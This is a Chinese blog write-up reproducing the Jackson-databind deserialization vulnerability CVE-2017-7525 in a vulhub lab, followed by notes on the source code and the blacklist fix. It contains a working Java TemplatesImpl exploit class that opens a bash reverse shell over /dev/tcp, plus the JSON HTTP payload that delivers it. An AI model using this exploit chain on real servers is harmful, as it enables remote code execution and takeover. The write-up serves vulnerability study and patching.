为什么想到打打Jackson反序列化呢?一是因为fastjson这种json和java字符串转换的打过一次简单的CVE,而jackson是应用更广泛的json与java字符串转换的框架,恰好有个CVE能打;二是vulhub也有这个环境,那么正好趁热打铁,多看点总是好事。
漏洞原理
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。
所以,本漏洞利用条件如下:
1、开启 JacksonPolymorphicDeserialization,即调用以下任意方法
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
2、Target class 需要有无参 constructor
3、Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口
影响版本: FasterXML Jackson-databind < 2.6.7.1 FasterXML Jackson-databind < 2.7.9.1 FasterXML Jackson-databind < 2.8.9
复现开始
docker开一下,我改了个端口,打开默认是报错页面。
Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。
当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明,该 payload 不依赖第三方库,只需 JRE 即可完成攻击。
因为好像对jdk1.8以后就打不了了,就跟着其他文章在本机又下了个jdk1.5,而且从现有的复现文章来看,基本都是只能完成写个txt文档,只能说不出网的时候可以用这个,但是我肯定还是想反弹shell的。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Exploit extends AbstractTranslet { public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public Exploit() throws IOException { try { String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/vps/port 0>&1"}; Process p = Runtime.getRuntime().exec(commands); p.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } public static void main(String[] args) throws IOException { Exploit helloworld = new Exploit(); } }
先编译成字节码,然后拿到linux下base64转一下:
//win上装的java5,我把exe也改名了,不然会跟我其他java版本撞了 javac5 Exploit.java; //再把这个字节码文件copy到linux上跑 cat Exploit.class | base64 -w 0 | xargs
bp抓包套payload直接开打:
POST /exploit HTTP/1.1 Host:xx.xx.xx.xx:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 1864 { "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": [ "将base64编码好的payload放进来" ], "transletName": "a.b", "outputProperties": {} } ] }
(玛德,这里开bp也报java错,因为javaw撞了,低版本java显然不能支持burpsuite)
看了看这个:安装多个版本的jdk后出现Java -version和你配置的环境变量的jdk版本不一致的问题_为什么我jdk17都删了,环境变量还是17-CSDN博客
我java默认变成java8了呃呃,还真不是java5的问题。
踩了一些坑,最后把环境变量里javapath那个删除了(每个电脑可能不一样),然后你自己配的啥名字出的就是啥版本,因为那个javapath在前面,默认值高于你后面配的JAVA_HOME。
javac同理,就没管它了,我的默认java用的java20。
言归正传,加上
Content-Type: application/json
bp抓包开打:
反弹shell成功。
源码审计
又到了知其然知其所以然的环节了。
推荐详看:
Jackson-databind 反序列化漏洞源码分析 – 知乎 (zhihu.com)
这里面还涉及到一个org.springframework.context.support.ClassPathXmlApplicationContext的利用链,也就是可以打SpEL注入:
SpEL表达式注入漏洞总结 [ Mi1k7ea ]
其实还有个CVE-2017-17485,原理是:
该漏洞是由于Jackson CVE-2017-7525黑名单过滤不完整,
当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法时,
程序就会受到此漏洞的影响,攻击者就可利用构造的包含有恶意代码的json数据包对应用进行攻击,直接获取服务器控制权限。
目前针对该漏洞利用的POC已经公开,请受影响的用户及时更新版本进行修复。
还是老样子,最后提一嘴这个漏洞是怎么修复的:
在前面的封装BeanDeserializer前,加入黑名单判断:
跟进_validateSubType
(验证类型)方法:
可以发现,里面就是黑名单的判断.其中_cfgIllegalClassNames
为一个set集合.数据如下:
参考:
漏洞复现-CVE-2017-7525-Jackson远程代码执行 – 铺哩 – 博客园 (cnblogs.com)
Java反序列 Jdk7u21 Payload 学习笔记 | b1ngz
__EOF__
本文作者: Eddie Murphy 本文链接: https://www.cnblogs.com/EddieMurphy-blogs/p/18071442 关于博主: 评论和私信会在第一时间回复。或者直接私信我。 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处! 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。